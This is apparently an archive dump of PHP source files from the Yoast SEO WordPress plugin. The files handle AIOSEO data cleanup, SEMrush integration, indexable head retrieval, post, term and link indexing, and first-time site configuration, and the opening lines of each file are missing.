is no unescaped user input. $meta_data = $this->wpdb->query( $this->cleanup_postmeta_query() ); $aioseo_table_truncate_done = $this->wpdb->query( $this->truncate_query() ); // phpcs:enable WordPress.DB.PreparedSQL.NotPrepared if ( $meta_data === false && $aioseo_table_truncate_done === false ) { return false; } $this->set_completed( true ); return [ 'metadata_cleanup' => $meta_data, 'indexables_cleanup' => $aioseo_table_truncate_done, ]; } /** * Creates a DELETE query string for deleting AIOSEO postmeta data. * * @return string The query to use for importing or counting the number of items to import. */ public function cleanup_postmeta_query() { $table = $this->get_postmeta_table(); $meta_keys_to_delete = $this->aioseo_postmeta_keys; // phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input. return $this->wpdb->prepare( "DELETE FROM {$table} WHERE meta_key IN (" . \implode( ', ', \array_fill( 0, \count( $meta_keys_to_delete ), '%s' ) ) . ')', $meta_keys_to_delete, ); // phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared } /** * Creates a TRUNCATE query string for emptying the AIOSEO indexable table, if it exists. * * @return string The query to use for importing or counting the number of items to import. */ public function truncate_query() { if ( ! $this->aioseo_helper->aioseo_exists() ) { // If the table doesn't exist, we need a string that will amount to a quick query that doesn't return false when ran. return 'SELECT 1'; } $table = $this->aioseo_helper->get_table(); return "TRUNCATE TABLE {$table}"; } /** * Used nowhere. Exists to comply with the interface. * * @return int The limit. */ public function get_limit() { /** * Filter 'wpseo_aioseo_cleanup_limit' - Allow filtering the number of posts indexed during each indexing pass. * * @param int $max_posts The maximum number of posts cleaned up. */ $limit = \apply_filters( 'wpseo_aioseo_cleanup_limit', 25 ); if ( ! \is_int( $limit ) || $limit < 1 ) { $limit = 25; } return $limit; } } actions/importing/importing-action-interface.php000064400000001614152076257230016161 0ustar00conflicting_plugins = $conflicting_plugins_service; $this->detected_plugins = []; } /** * Get the total number of conflicting plugins. * * @return int */ public function get_total_unindexed() { return \count( $this->get_detected_plugins() ); } /** * Returns whether the updated importer framework is enabled. * * @return bool True if the updated importer framework is enabled. */ public function is_enabled() { $updated_importer_framework_conditional = \YoastSEO()->classes->get( Updated_Importer_Framework_Conditional::class ); return $updated_importer_framework_conditional->is_met(); } /** * Deactivate conflicting plugins. * * @return array */ public function index() { $detected_plugins = $this->get_detected_plugins(); $this->conflicting_plugins->deactivate_conflicting_plugins( $detected_plugins ); // We need to conform to the interface, so we report that no indexables were created. return []; } /** * {@inheritDoc} */ public function get_limit() { return \count( Conflicting_Plugins::all_plugins() ); } /** * Returns the total number of unindexed objects up to a limit. * * @param int $limit The maximum. * * @return int The total number of unindexed objects. */ public function get_limited_unindexed_count( $limit ) { $count = \count( $this->get_detected_plugins() ); return ( $count <= $limit ) ? $count : $limit; } /** * Returns all detected plugins. * * @return array The detected plugins. */ protected function get_detected_plugins() { // The active plugins won't change much. We can reuse the result for the duration of the request. if ( \count( $this->detected_plugins ) < 1 ) { $this->detected_plugins = $this->conflicting_plugins->detect_conflicting_plugins(); } return $this->detected_plugins; } } actions/semrush/semrush-options-action.php000064400000002140152076257230015043 0ustar00options_helper = $options_helper; } /** * Stores SEMrush country code in the WPSEO options. * * @param string $country_code The country code to store. * * @return object The response object. */ public function set_country_code( $country_code ) { // The country code has already been validated at this point. No need to do that again. $success = $this->options_helper->set( 'semrush_country_code', $country_code ); if ( $success ) { return (object) [ 'success' => true, 'status' => 200, ]; } return (object) [ 'success' => false, 'status' => 500, 'error' => 'Could not save option in the database', ]; } } actions/semrush/semrush-login-action.php000064400000002360152076257230014464 0ustar00client = $client; } /** * Authenticates with SEMrush to request the necessary tokens. * * @param string $code The authentication code to use to request a token with. * * @return object The response object. */ public function authenticate( $code ) { // Code has already been validated at this point. No need to do that again. try { $tokens = $this->client->request_tokens( $code ); return (object) [ 'tokens' => $tokens->to_array(), 'status' => 200, ]; } catch ( Authentication_Failed_Exception $e ) { return $e->get_response(); } } /** * Performs the login request, if necessary. * * @return void */ public function login() { if ( $this->client->has_valid_tokens() ) { return; } // Prompt with login screen. } } actions/semrush/semrush-phrases-action.php000064400000004441152076257230015023 0ustar00client = $client; } /** * Gets the related keyphrases and data based on the passed keyphrase and database country code. * * @param string $keyphrase The keyphrase to search for. * @param string $database The database's country code. * * @return object The response object. */ public function get_related_keyphrases( $keyphrase, $database ) { try { $transient_key = \sprintf( static::TRANSIENT_CACHE_KEY, $keyphrase, $database ); $transient = \get_transient( $transient_key ); if ( $transient !== false && isset( $transient['data']['columnNames'] ) && \count( $transient['data']['columnNames'] ) === 5 ) { return $this->to_result_object( $transient ); } $options = [ 'params' => [ 'phrase' => $keyphrase, 'database' => $database, 'export_columns' => 'Ph,Nq,Td,In,Kd', 'display_limit' => 10, 'display_offset' => 0, 'display_sort' => 'nq_desc', 'display_filter' => '%2B|Nq|Lt|1000', ], ]; $results = $this->client->get( self::KEYPHRASES_URL, $options ); \set_transient( $transient_key, $results, \DAY_IN_SECONDS ); return $this->to_result_object( $results ); } catch ( Exception $e ) { return (object) [ 'error' => $e->getMessage(), 'status' => $e->getCode(), ]; } } /** * Converts the passed dataset to an object. * * @param array $result The result dataset to convert to an object. * * @return object The result object. */ protected function to_result_object( $result ) { return (object) [ 'results' => $result['data'], 'status' => $result['status'], ]; } } actions/indexables/indexable-head-action.php000064400000007417152076257240015163 0ustar00meta_surface = $meta_surface; } /** * Retrieves the head for a url. * * @param string $url The url to get the head for. * * @return object Object with head and status properties. */ public function for_url( $url ) { if ( $url === \trailingslashit( \get_home_url() ) ) { return $this->with_404_fallback( $this->with_cache( 'home_page' ) ); } return $this->with_404_fallback( $this->with_cache( 'url', $url ) ); } /** * Retrieves the head for a post. * * @param int $id The id. * * @return object Object with head and status properties. */ public function for_post( $id ) { return $this->with_404_fallback( $this->with_cache( 'post', $id ) ); } /** * Retrieves the head for a term. * * @param int $id The id. * * @return object Object with head and status properties. */ public function for_term( $id ) { return $this->with_404_fallback( $this->with_cache( 'term', $id ) ); } /** * Retrieves the head for an author. * * @param int $id The id. * * @return object Object with head and status properties. */ public function for_author( $id ) { return $this->with_404_fallback( $this->with_cache( 'author', $id ) ); } /** * Retrieves the head for a post type archive. * * @param int $type The id. * * @return object Object with head and status properties. */ public function for_post_type_archive( $type ) { return $this->with_404_fallback( $this->with_cache( 'post_type_archive', $type ) ); } /** * Retrieves the head for the posts page. * * @return object Object with head and status properties. */ public function for_posts_page() { return $this->with_404_fallback( $this->with_cache( 'posts_page' ) ); } /** * Retrieves the head for the 404 page. Always sets the status to 404. * * @return object Object with head and status properties. */ public function for_404() { $meta = $this->with_cache( '404' ); if ( ! $meta ) { return (object) [ 'html' => '', 'json' => [], 'status' => 404, ]; } $head = $meta->get_head(); return (object) [ 'html' => $head->html, 'json' => $head->json, 'status' => 404, ]; } /** * Retrieves the head for a successful page load. * * @param object $head The calculated Yoast head. * * @return object The presentations and status code 200. */ protected function for_200( $head ) { return (object) [ 'html' => $head->html, 'json' => $head->json, 'status' => 200, ]; } /** * Returns the head with 404 fallback * * @param Meta|false $meta The meta object. * * @return object The head response. */ protected function with_404_fallback( $meta ) { if ( $meta === false ) { return $this->for_404(); } else { return $this->for_200( $meta->get_head() ); } } /** * Retrieves a value from the meta surface cached. * * @param string $type The type of value to retrieve. * @param string $argument Optional. The argument for the value. * * @return Meta The meta object. */ protected function with_cache( $type, $argument = '' ) { if ( ! isset( $this->cache[ $type ][ $argument ] ) ) { $this->cache[ $type ][ $argument ] = \call_user_func( [ $this->meta_surface, "for_$type" ], $argument ); } return $this->cache[ $type ][ $argument ]; } } actions/indexing/limited-indexing-action-interface.php000064400000000763152076257250017206 0ustar00indexing_helper = $indexing_helper; } /** * Prepares the indexing routine. * * @return void */ public function prepare() { $this->indexing_helper->prepare(); } } actions/indexing/indexable-indexing-complete-action.php000064400000001316152076257260017356 0ustar00indexable_helper = $indexable_helper; } /** * Wraps up the indexing process. * * @return void */ public function complete() { $this->indexable_helper->finish_indexing(); } } actions/indexing/indexable-post-type-archive-indexation-action.php000064400000014026152076257270021471 0ustar00repository = $repository; $this->builder = $builder; $this->post_type = $post_type; $this->version = $versions->get_latest_version_for_type( 'post-type-archive' ); } /** * Returns the total number of unindexed post type archives. * * @param int|false $limit Limit the number of counted objects. * False for "no limit". * * @return int The total number of unindexed post type archives. */ public function get_total_unindexed( $limit = false ) { $transient = \get_transient( static::UNINDEXED_COUNT_TRANSIENT ); if ( $transient !== false ) { return (int) $transient; } \set_transient( static::UNINDEXED_COUNT_TRANSIENT, 0, \DAY_IN_SECONDS ); $result = \count( $this->get_unindexed_post_type_archives( $limit ) ); \set_transient( static::UNINDEXED_COUNT_TRANSIENT, $result, \DAY_IN_SECONDS ); /** * Action: 'wpseo_indexables_unindexed_calculated' - sets an option to timestamp when there are no unindexed indexables left. * * @internal */ \do_action( 'wpseo_indexables_unindexed_calculated', static::UNINDEXED_COUNT_TRANSIENT, $result ); return $result; } /** * Creates indexables for post type archives. * * @return Indexable[] The created indexables. */ public function index() { $unindexed_post_type_archives = $this->get_unindexed_post_type_archives( $this->get_limit() ); $indexables = []; foreach ( $unindexed_post_type_archives as $post_type_archive ) { $indexables[] = $this->builder->build_for_post_type_archive( $post_type_archive ); } if ( \count( $indexables ) > 0 ) { \delete_transient( static::UNINDEXED_COUNT_TRANSIENT ); } return $indexables; } /** * Returns the number of post type archives that will be indexed in a single indexing pass. * * @return int The limit. */ public function get_limit() { /** * Filter 'wpseo_post_type_archive_indexation_limit' - Allow filtering the number of posts indexed during each indexing pass. * * @param int $limit The maximum number of posts indexed. */ $limit = \apply_filters( 'wpseo_post_type_archive_indexation_limit', 25 ); if ( ! \is_int( $limit ) || $limit < 1 ) { $limit = 25; } return $limit; } /** * Retrieves the list of post types for which no indexable for its archive page has been made yet. * * @param int|false $limit Limit the number of retrieved indexables to this number. * * @return array The list of post types for which no indexable for its archive page has been made yet. */ protected function get_unindexed_post_type_archives( $limit = false ) { $post_types_with_archive_pages = $this->get_post_types_with_archive_pages(); $indexed_post_types = $this->get_indexed_post_type_archives(); $unindexed_post_types = \array_diff( $post_types_with_archive_pages, $indexed_post_types ); if ( $limit ) { return \array_slice( $unindexed_post_types, 0, $limit ); } return $unindexed_post_types; } /** * Returns the names of all the post types that have archive pages. * * @return array The list of names of all post types that have archive pages. */ protected function get_post_types_with_archive_pages() { // We only want to index archive pages of public post types that have them. $post_types_with_archive = $this->post_type->get_indexable_post_archives(); // We only need the post type names, not the objects. $post_types = []; foreach ( $post_types_with_archive as $post_type_with_archive ) { $post_types[] = $post_type_with_archive->name; } return $post_types; } /** * Retrieves the list of post type names for which an archive indexable exists. * * @return array The list of names of post types with unindexed archive pages. */ protected function get_indexed_post_type_archives() { $results = $this->repository->query() ->select( 'object_sub_type' ) ->where( 'object_type', 'post-type-archive' ) ->where_equal( 'version', $this->version ) ->find_array(); if ( $results === false ) { return []; } $callback = static function ( $result ) { return $result['object_sub_type']; }; return \array_map( $callback, $results ); } /** * Returns a limited number of unindexed posts. * * @param int $limit Limit the maximum number of unindexed posts that are counted. * * @return int|false The limited number of unindexed posts. False if the query fails. */ public function get_limited_unindexed_count( $limit ) { return $this->get_total_unindexed( $limit ); } } actions/indexing/abstract-indexing-action.php000064400000006173152076257310015422 0ustar00get_select_query( $limit ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Function get_count_query returns a prepared query. $unindexed_object_ids = ( $query === '' ) ? [] : $this->wpdb->get_col( $query ); $count = (int) \count( $unindexed_object_ids ); \set_transient( static::UNINDEXED_LIMITED_COUNT_TRANSIENT, $count, ( \MINUTE_IN_SECONDS * 15 ) ); return $count; } /** * Returns the total number of unindexed posts. * * @return int|false The total number of unindexed posts. False if the query fails. */ public function get_total_unindexed() { $transient = \get_transient( static::UNINDEXED_COUNT_TRANSIENT ); if ( $transient !== false ) { return (int) $transient; } // Store transient before doing the query so multiple requests won't make multiple queries. // Only store this for 15 minutes to ensure that if the query doesn't complete a wrong count is not kept too long. \set_transient( static::UNINDEXED_COUNT_TRANSIENT, 0, ( \MINUTE_IN_SECONDS * 15 ) ); $query = $this->get_count_query(); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Function get_count_query returns a prepared query. $count = ( $query === '' ) ? 0 : $this->wpdb->get_var( $query ); if ( $count === null ) { return false; } \set_transient( static::UNINDEXED_COUNT_TRANSIENT, $count, \DAY_IN_SECONDS ); /** * Action: 'wpseo_indexables_unindexed_calculated' - sets an option to timestamp when there are no unindexed indexables left. * * @internal */ \do_action( 'wpseo_indexables_unindexed_calculated', static::UNINDEXED_COUNT_TRANSIENT, $count ); return (int) $count; } } actions/indexing/indexable-term-indexation-action.php000064400000012165152076257310017052 0ustar00taxonomy = $taxonomy; $this->repository = $repository; $this->wpdb = $wpdb; $this->version = $builder_versions->get_latest_version_for_type( 'term' ); } /** * Creates indexables for unindexed terms. * * @return Indexable[] The created indexables. */ public function index() { $query = $this->get_select_query( $this->get_limit() ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Function get_select_query returns a prepared query. $term_ids = ( $query === '' ) ? [] : $this->wpdb->get_col( $query ); $indexables = []; foreach ( $term_ids as $term_id ) { $indexables[] = $this->repository->find_by_id_and_type( (int) $term_id, 'term' ); } if ( \count( $indexables ) > 0 ) { \delete_transient( static::UNINDEXED_COUNT_TRANSIENT ); \delete_transient( static::UNINDEXED_LIMITED_COUNT_TRANSIENT ); } return $indexables; } /** * Returns the number of terms that will be indexed in a single indexing pass. * * @return int The limit. */ public function get_limit() { /** * Filter 'wpseo_term_indexation_limit' - Allow filtering the number of terms indexed during each indexing pass. * * @param int $limit The maximum number of terms indexed. */ $limit = \apply_filters( 'wpseo_term_indexation_limit', 25 ); if ( ! \is_int( $limit ) || $limit < 1 ) { $limit = 25; } return $limit; } /** * Builds a query for counting the number of unindexed terms. * * @return string The prepared query string. */ protected function get_count_query() { $indexable_table = Model::get_table_name( 'Indexable' ); $taxonomy_table = $this->wpdb->term_taxonomy; $public_taxonomies = $this->taxonomy->get_indexable_taxonomies(); if ( empty( $public_taxonomies ) ) { return ''; } $taxonomies_placeholders = \implode( ', ', \array_fill( 0, \count( $public_taxonomies ), '%s' ) ); $replacements = [ $this->version ]; \array_push( $replacements, ...$public_taxonomies ); // Warning: If this query is changed, makes sure to update the query in get_count_query as well. return $this->wpdb->prepare( " SELECT COUNT(term_id) FROM {$taxonomy_table} AS T LEFT JOIN $indexable_table AS I ON T.term_id = I.object_id AND I.object_type = 'term' AND I.version = %d WHERE I.object_id IS NULL AND taxonomy IN ($taxonomies_placeholders)", $replacements, ); } /** * Builds a query for selecting the ID's of unindexed terms. * * @param bool $limit The maximum number of term IDs to return. * * @return string The prepared query string. */ protected function get_select_query( $limit = false ) { $indexable_table = Model::get_table_name( 'Indexable' ); $taxonomy_table = $this->wpdb->term_taxonomy; $public_taxonomies = $this->taxonomy->get_indexable_taxonomies(); if ( empty( $public_taxonomies ) ) { return ''; } $placeholders = \implode( ', ', \array_fill( 0, \count( $public_taxonomies ), '%s' ) ); $replacements = [ $this->version ]; \array_push( $replacements, ...$public_taxonomies ); $limit_query = ''; if ( $limit ) { $limit_query = 'LIMIT %d'; $replacements[] = $limit; } // Warning: If this query is changed, makes sure to update the query in get_count_query as well. return $this->wpdb->prepare( " SELECT term_id FROM {$taxonomy_table} AS T LEFT JOIN $indexable_table AS I ON T.term_id = I.object_id AND I.object_type = 'term' AND I.version = %d WHERE I.object_id IS NULL AND taxonomy IN ($placeholders) $limit_query", $replacements, ); } } actions/indexing/indexing-complete-action.php000064400000001227152076257310015422 0ustar00indexing_helper = $indexing_helper; } /** * Wraps up the indexing process. * * @return void */ public function complete() { $this->indexing_helper->complete(); } } actions/indexing/abstract-link-indexing-action.php000064400000006166152076257310016357 0ustar00link_builder = $link_builder; $this->indexable_helper = $indexable_helper; $this->repository = $repository; $this->wpdb = $wpdb; } /** * Builds links for indexables which haven't had their links indexed yet. * * @return SEO_Links[] The created SEO links. */ public function index() { $objects = $this->get_objects(); $indexables = []; foreach ( $objects as $object ) { $indexable = $this->repository->find_by_id_and_type( $object->id, $object->type ); if ( $indexable ) { $this->link_builder->build( $indexable, $object->content ); $this->indexable_helper->save_indexable( $indexable ); $indexables[] = $indexable; } } if ( \count( $indexables ) > 0 ) { \delete_transient( static::UNINDEXED_COUNT_TRANSIENT ); \delete_transient( static::UNINDEXED_LIMITED_COUNT_TRANSIENT ); } return $indexables; } /** * In the case of term-links and post-links we want to use the total unindexed count, because using * the limited unindexed count actually leads to worse performance. * * @param int|bool $limit Unused. * * @return int The total number of unindexed links. */ public function get_limited_unindexed_count( $limit = false ) { return $this->get_total_unindexed(); } /** * Returns the number of texts that will be indexed in a single link indexing pass. * * @return int The limit. */ public function get_limit() { /** * Filter 'wpseo_link_indexing_limit' - Allow filtering the number of texts indexed during each link indexing pass. * * @param int $limit The maximum number of texts indexed. */ return \apply_filters( 'wpseo_link_indexing_limit', 5 ); } /** * Returns objects to be indexed. * * @return array Objects to be indexed, should be an array of objects with object_id, object_type and content. */ abstract protected function get_objects(); } actions/indexing/post-link-indexing-action.php000064400000007535152076257310015542 0ustar00post_type_helper = $post_type_helper; } /** * Returns objects to be indexed. * * @return array Objects to be indexed. */ protected function get_objects() { $query = $this->get_select_query( $this->get_limit() ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Function get_select_query returns a prepared query. $posts = $this->wpdb->get_results( $query ); return \array_map( static function ( $post ) { return (object) [ 'id' => (int) $post->ID, 'type' => 'post', 'content' => $post->post_content, ]; }, $posts, ); } /** * Builds a query for counting the number of unindexed post links. * * @return string The prepared query string. */ protected function get_count_query() { $public_post_types = $this->post_type_helper->get_indexable_post_types(); $indexable_table = Model::get_table_name( 'Indexable' ); $links_table = Model::get_table_name( 'SEO_Links' ); // Warning: If this query is changed, makes sure to update the query in get_select_query as well. return $this->wpdb->prepare( "SELECT COUNT(P.ID) FROM {$this->wpdb->posts} AS P LEFT JOIN $indexable_table AS I ON P.ID = I.object_id AND I.link_count IS NOT NULL AND I.object_type = 'post' LEFT JOIN $links_table AS L ON L.post_id = P.ID AND L.target_indexable_id IS NULL AND L.type = 'internal' AND L.target_post_id IS NOT NULL AND L.target_post_id != 0 WHERE ( I.object_id IS NULL OR L.post_id IS NOT NULL ) AND P.post_status = 'publish' AND P.post_type IN (" . \implode( ', ', \array_fill( 0, \count( $public_post_types ), '%s' ) ) . ')', $public_post_types, ); } /** * Builds a query for selecting the ID's of unindexed post links. * * @param int|false $limit The maximum number of post link IDs to return. * * @return string The prepared query string. */ protected function get_select_query( $limit = false ) { $public_post_types = $this->post_type_helper->get_indexable_post_types(); $indexable_table = Model::get_table_name( 'Indexable' ); $links_table = Model::get_table_name( 'SEO_Links' ); $replacements = $public_post_types; $limit_query = ''; if ( $limit ) { $limit_query = 'LIMIT %d'; $replacements[] = $limit; } // Warning: If this query is changed, makes sure to update the query in get_count_query as well. return $this->wpdb->prepare( " SELECT P.ID, P.post_content FROM {$this->wpdb->posts} AS P LEFT JOIN $indexable_table AS I ON P.ID = I.object_id AND I.link_count IS NOT NULL AND I.object_type = 'post' LEFT JOIN $links_table AS L ON L.post_id = P.ID AND L.target_indexable_id IS NULL AND L.type = 'internal' AND L.target_post_id IS NOT NULL AND L.target_post_id != 0 WHERE ( I.object_id IS NULL OR L.post_id IS NOT NULL ) AND P.post_status = 'publish' AND P.post_type IN (" . \implode( ', ', \array_fill( 0, \count( $public_post_types ), '%s' ) ) . ") $limit_query", $replacements, ); } } actions/indexing/term-link-indexing-action.php000064400000006702152076257310015517 0ustar00taxonomy_helper = $taxonomy_helper; } /** * Returns objects to be indexed. * * @return array Objects to be indexed. */ protected function get_objects() { $query = $this->get_select_query( $this->get_limit() ); if ( $query === '' ) { return []; } // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Function get_select_query returns a prepared query. $terms = $this->wpdb->get_results( $query ); return \array_map( static function ( $term ) { return (object) [ 'id' => (int) $term->term_id, 'type' => 'term', 'content' => $term->description, ]; }, $terms, ); } /** * Builds a query for counting the number of unindexed term links. * * @return string The prepared query string. */ protected function get_count_query() { $public_taxonomies = $this->taxonomy_helper->get_indexable_taxonomies(); if ( empty( $public_taxonomies ) ) { return ''; } $placeholders = \implode( ', ', \array_fill( 0, \count( $public_taxonomies ), '%s' ) ); $indexable_table = Model::get_table_name( 'Indexable' ); // Warning: If this query is changed, makes sure to update the query in get_select_query as well. return $this->wpdb->prepare( " SELECT COUNT(T.term_id) FROM {$this->wpdb->term_taxonomy} AS T LEFT JOIN $indexable_table AS I ON T.term_id = I.object_id AND I.object_type = 'term' AND I.link_count IS NOT NULL WHERE I.object_id IS NULL AND T.taxonomy IN ($placeholders)", $public_taxonomies, ); } /** * Builds a query for selecting the ID's of unindexed term links. * * @param int|false $limit The maximum number of term link IDs to return. * * @return string The prepared query string. */ protected function get_select_query( $limit = false ) { $public_taxonomies = $this->taxonomy_helper->get_indexable_taxonomies(); if ( empty( $public_taxonomies ) ) { return ''; } $indexable_table = Model::get_table_name( 'Indexable' ); $replacements = $public_taxonomies; $limit_query = ''; if ( $limit ) { $limit_query = 'LIMIT %d'; $replacements[] = $limit; } // Warning: If this query is changed, makes sure to update the query in get_count_query as well. return $this->wpdb->prepare( " SELECT T.term_id, T.description FROM {$this->wpdb->term_taxonomy} AS T LEFT JOIN $indexable_table AS I ON T.term_id = I.object_id AND I.object_type = 'term' AND I.link_count IS NOT NULL WHERE I.object_id IS NULL AND T.taxonomy IN (" . \implode( ', ', \array_fill( 0, \count( $public_taxonomies ), '%s' ) ) . ") $limit_query", $replacements, ); } } actions/indexing/indexable-general-indexation-action.php000064400000007601152076257310017517 0ustar00indexable_repository = $indexable_repository; } /** * Returns the total number of unindexed objects. * * @return int The total number of unindexed objects. */ public function get_total_unindexed() { $transient = \get_transient( static::UNINDEXED_COUNT_TRANSIENT ); if ( $transient !== false ) { return (int) $transient; } $indexables_to_create = $this->query(); $result = \count( $indexables_to_create ); \set_transient( static::UNINDEXED_COUNT_TRANSIENT, $result, \DAY_IN_SECONDS ); /** * Action: 'wpseo_indexables_unindexed_calculated' - sets an option to timestamp when there are no unindexed indexables left. * * @internal */ \do_action( 'wpseo_indexables_unindexed_calculated', static::UNINDEXED_COUNT_TRANSIENT, $result ); return $result; } /** * Returns a limited number of unindexed posts. * * @param int $limit Limit the maximum number of unindexed posts that are counted. * * @return int|false The limited number of unindexed posts. False if the query fails. */ public function get_limited_unindexed_count( $limit ) { return $this->get_total_unindexed(); } /** * Creates indexables for unindexed system pages, the date archive, and the homepage. * * @return Indexable[] The created indexables. */ public function index() { $indexables = []; $indexables_to_create = $this->query(); if ( isset( $indexables_to_create['404'] ) ) { $indexables[] = $this->indexable_repository->find_for_system_page( '404' ); } if ( isset( $indexables_to_create['search'] ) ) { $indexables[] = $this->indexable_repository->find_for_system_page( 'search-result' ); } if ( isset( $indexables_to_create['date_archive'] ) ) { $indexables[] = $this->indexable_repository->find_for_date_archive(); } if ( isset( $indexables_to_create['home_page'] ) ) { $indexables[] = $this->indexable_repository->find_for_home_page(); } \set_transient( static::UNINDEXED_COUNT_TRANSIENT, 0, \DAY_IN_SECONDS ); return $indexables; } /** * Returns the number of objects that will be indexed in a single indexing pass. * * @return int The limit. */ public function get_limit() { // This matches the maximum number of indexables created by this action. return 4; } /** * Check which indexables already exist and return the values of the ones to create. * * @return array The indexable types to create. */ private function query() { $indexables_to_create = []; if ( ! $this->indexable_repository->find_for_system_page( '404', false ) ) { $indexables_to_create['404'] = true; } if ( ! $this->indexable_repository->find_for_system_page( 'search-result', false ) ) { $indexables_to_create['search'] = true; } if ( ! $this->indexable_repository->find_for_date_archive( false ) ) { $indexables_to_create['date_archive'] = true; } $need_home_page_indexable = ( (int) \get_option( 'page_on_front' ) === 0 && \get_option( 'show_on_front' ) === 'posts' ); if ( $need_home_page_indexable && ! $this->indexable_repository->find_for_home_page( false ) ) { $indexables_to_create['home_page'] = true; } return $indexables_to_create; } } actions/indexing/indexable-post-indexation-action.php000064400000013317152076257320017071 0ustar00post_type_helper = $post_type_helper; $this->repository = $repository; $this->wpdb = $wpdb; $this->version = $builder_versions->get_latest_version_for_type( 'post' ); $this->post_helper = $post_helper; } /** * Creates indexables for unindexed posts. * * @return Indexable[] The created indexables. */ public function index() { $query = $this->get_select_query( $this->get_limit() ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Function get_select_query returns a prepared query. $post_ids = $this->wpdb->get_col( $query ); $indexables = []; foreach ( $post_ids as $post_id ) { $indexables[] = $this->repository->find_by_id_and_type( (int) $post_id, 'post' ); } if ( \count( $indexables ) > 0 ) { \delete_transient( static::UNINDEXED_COUNT_TRANSIENT ); \delete_transient( static::UNINDEXED_LIMITED_COUNT_TRANSIENT ); } return $indexables; } /** * Returns the number of posts that will be indexed in a single indexing pass. * * @return int The limit. */ public function get_limit() { /** * Filter 'wpseo_post_indexation_limit' - Allow filtering the amount of posts indexed during each indexing pass. * * @param int $limit The maximum number of posts indexed. */ $limit = \apply_filters( 'wpseo_post_indexation_limit', 25 ); if ( ! \is_int( $limit ) || $limit < 1 ) { $limit = 25; } return $limit; } /** * Builds a query for counting the number of unindexed posts. * * @return string The prepared query string. */ protected function get_count_query() { $indexable_table = Model::get_table_name( 'Indexable' ); $post_types = $this->post_type_helper->get_indexable_post_types(); $excluded_post_statuses = $this->post_helper->get_excluded_post_statuses(); $replacements = \array_merge( $post_types, $excluded_post_statuses, ); $replacements[] = $this->version; // Warning: If this query is changed, makes sure to update the query in get_select_query as well. // @phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber return $this->wpdb->prepare( " SELECT COUNT(P.ID) FROM {$this->wpdb->posts} AS P WHERE P.post_type IN (" . \implode( ', ', \array_fill( 0, \count( $post_types ), '%s' ) ) . ') AND P.post_status NOT IN (' . \implode( ', ', \array_fill( 0, \count( $excluded_post_statuses ), '%s' ) ) . ") AND P.ID not in ( SELECT I.object_id from $indexable_table as I WHERE I.object_type = 'post' AND I.version = %d )", $replacements, ); } /** * Builds a query for selecting the ID's of unindexed posts. * * @param bool $limit The maximum number of post IDs to return. * * @return string The prepared query string. */ protected function get_select_query( $limit = false ) { $indexable_table = Model::get_table_name( 'Indexable' ); $post_types = $this->post_type_helper->get_indexable_post_types(); $excluded_post_statuses = $this->post_helper->get_excluded_post_statuses(); $replacements = \array_merge( $post_types, $excluded_post_statuses, ); $replacements[] = $this->version; $limit_query = ''; if ( $limit ) { $limit_query = 'LIMIT %d'; $replacements[] = $limit; } // Warning: If this query is changed, makes sure to update the query in get_count_query as well. // @phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber return $this->wpdb->prepare( " SELECT P.ID FROM {$this->wpdb->posts} AS P WHERE P.post_type IN (" . \implode( ', ', \array_fill( 0, \count( $post_types ), '%s' ) ) . ') AND P.post_status NOT IN (' . \implode( ', ', \array_fill( 0, \count( $excluded_post_statuses ), '%s' ) ) . ") AND P.ID not in ( SELECT I.object_id from $indexable_table as I WHERE I.object_type = 'post' AND I.version = %d ) $limit_query", $replacements, ); } } actions/configuration/first-time-configuration-action.php000064400000021143152076257320020001 0ustar00options_helper = $options_helper; $this->social_profiles_helper = $social_profiles_helper; } /** * Stores the values for the site representation. * * @param array $params The values to store. * * @return object The response object. */ public function set_site_representation( $params ) { $failures = []; $old_values = $this->get_old_values( self::SITE_REPRESENTATION_FIELDS ); foreach ( self::SITE_REPRESENTATION_FIELDS as $field_name ) { if ( isset( $params[ $field_name ] ) ) { $result = $this->options_helper->set( $field_name, $params[ $field_name ] ); if ( ! $result ) { $failures[] = $field_name; } } } // Delete cached logos in the db. $this->options_helper->set( 'company_logo_meta', false ); $this->options_helper->set( 'person_logo_meta', false ); /** * Action: 'wpseo_post_update_site_representation' - Allows for Hiive event tracking. * * @param array $params The new values of the options. * @param array $old_values The old values of the options. * @param array $failures The options that failed to be saved. * * @internal */ \do_action( 'wpseo_ftc_post_update_site_representation', $params, $old_values, $failures ); if ( \count( $failures ) === 0 ) { return (object) [ 'success' => true, 'status' => 200, ]; } return (object) [ 'success' => false, 'status' => 500, 'error' => 'Could not save some options in the database', 'failures' => $failures, ]; } /** * Stores the values for the social profiles. * * @param array $params The values to store. * * @return object The response object. */ public function set_social_profiles( $params ) { $old_values = $this->get_old_values( \array_keys( $this->social_profiles_helper->get_organization_social_profile_fields() ) ); $failures = $this->social_profiles_helper->set_organization_social_profiles( $params ); /** * Action: 'wpseo_post_update_social_profiles' - Allows for Hiive event tracking. * * @param array $params The new values of the options. * @param array $old_values The old values of the options. * @param array $failures The options that failed to be saved. * * @internal */ \do_action( 'wpseo_ftc_post_update_social_profiles', $params, $old_values, $failures ); if ( empty( $failures ) ) { return (object) [ 'success' => true, 'status' => 200, ]; } return (object) [ 'success' => false, 'status' => 200, 'error' => 'Could not save some options in the database', 'failures' => $failures, ]; } /** * Stores the values for the social profiles. * * @param array $params The values to store. * * @return object The response object. */ public function set_person_social_profiles( $params ) { $social_profiles = \array_filter( $params, static function ( $key ) { return $key !== 'user_id'; }, \ARRAY_FILTER_USE_KEY, ); $failures = $this->social_profiles_helper->set_person_social_profiles( $params['user_id'], $social_profiles ); if ( \count( $failures ) === 0 ) { return (object) [ 'success' => true, 'status' => 200, ]; } return (object) [ 'success' => false, 'status' => 200, 'error' => 'Could not save some options in the database', 'failures' => $failures, ]; } /** * Gets the values for the social profiles. * * @param int $user_id The person ID. * * @return object The response object. */ public function get_person_social_profiles( $user_id ) { return (object) [ 'success' => true, 'status' => 200, 'social_profiles' => $this->social_profiles_helper->get_person_social_profiles( $user_id ), ]; } /** * Stores the values to 